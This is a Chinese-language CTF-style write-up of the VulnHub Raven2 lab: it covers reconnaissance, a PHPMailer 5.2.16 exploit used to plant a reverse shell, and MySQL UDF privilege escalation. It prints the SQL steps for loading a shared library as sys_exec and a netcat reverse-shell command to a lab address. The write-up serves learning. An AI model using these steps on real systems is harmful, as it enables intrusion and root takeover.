当前位置:网站首页>vulnhub之raven2
vulnhub之raven2
2022-07-03 11:05:00 【梅_花_七】
仅做个人学习笔记使用
目录
一、主机发现

二、端口扫描

三、服务版本探测
常规22,80端口。
111这是个没看懂
42689 开放了远程进程调用协议

四、信息收集
1.一直请求资源
和原来一样就是请求了国外某些站点资源,导致了无法正常加载,挂个梯子就行。要是用到burp,就挂两层。
就是个保安公司界面

2.常规看源码
看接口,源码泄露,有无隐藏目录,都无。
五、扫目录
最基本信息就是wordpress建站

1. /vendor
3,4,5个文件都提到了PHPMailer,readme是自述文件,里面介绍了phpmailer是个php的邮件传输的类,。而security则提到了他的历史漏洞。changelog讲述变迁日志。
尝试从phpmailer进行突破

(1)flag1

六、phpmailer
因为从上面文件中可以得知版本是5.2.16,所以这几个都去试一下。
1.40974.py
40974.py是可以用的。对目标路径写入反弹shell文件。

注意: 使用前需要先更改文件内容
(1)改回连地址
(2)写入后门文件路径
(3)目标ip
也可以改个文件名

2.访问触发
3.反弹shell
七、mysql之udf提权
当我们信息收集时,发现有泄露的mysql账号密码,
检查进程时,又发现mysql是以root的属主运行的,所以可以利用mysql来提权,
1.信息收集
root [email protected]

2.udf提权
udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。
攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
3.步骤
(1)找到kali自带的udf提权链接库文件.so

(2)64.so的传到靶机上
最好放到/tmp下
(3)查看插件路径
show variables like '%plugin%';
(4)通过链接库文件写入数据库
使用系统数据库,创建一个表,写入链接库文件数据。
use mysql;
create table a(line blob);
insert into a values(load_file('/tmp/x.so'));
(5)再将链接库文件写入插件位置
select * from a into dumpfile '/usr/lib/mysql/plugin/x.so';
(6)创建新函数
create function sys_exec returns integer soname 'x.so';
(7)执行反弹shell
select sys_exec('nc 192.168.0.107 6666 -e /bin/bash');

边栏推荐
- 836. 合并集合(DAY 63)并查集
- How PHP solves the problem of high concurrency
- Using onvif protocol to operate the device
- JGG专刊征稿:时空组学
- Programmers' entrepreneurial trap: taking private jobs
- Kubernetes 三打探针及探针方式
- 机器学习 3.2 决策树模型 学习笔记(待补)
- FL Studio 20无限试用版水果编曲下载
- R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
- Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
猜你喜欢

Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.

How to get started embedded future development direction of embedded

DS90UB949

Unity3D学习笔记5——创建子Mesh

Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)

PHP Basics

Kibana - installation and configuration of kibana

C语言 AES加解密

STL教程10-容器共性和使用场景

鸿蒙第四次培训
随机推荐
Uniapp implementation Click to load more
Qt+VTK+OCCT读取IGES/STEP模型
Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.
C language log base zlog basic use
剑指offer专项32-96题做题笔记
基于turtlebot3实现SLAM建图及自主导航仿真
Mysql根据时间搜索常用方法整理
R语言使用原生包(基础导入包、graphics)中的hist函数可视化直方图(histogram plot)
Some common terms
[vtk] source code interpretation of vtkpolydatatoimagestencil
DS90UB949
Extrapolated scatter data
[vtk] interpretation of source code comments of vtkwindowedsincpolydatafilter
Modular programming of single chip microcomputer
Machine learning 3.2 decision tree model learning notes (to be supplemented)
金额计算用 BigDecimal 就万无一失了?看看这五个坑吧~~
抓包整理外篇fiddler———— 会话栏与过滤器[二]
Stm32hal library upgrades firmware based on flash analog U disk (detailed explanation)
Numpy np.max和np.maximum实现relu函数
The R language uses the hist function in the native package (basic import package, graphics) to visualize the histogram plot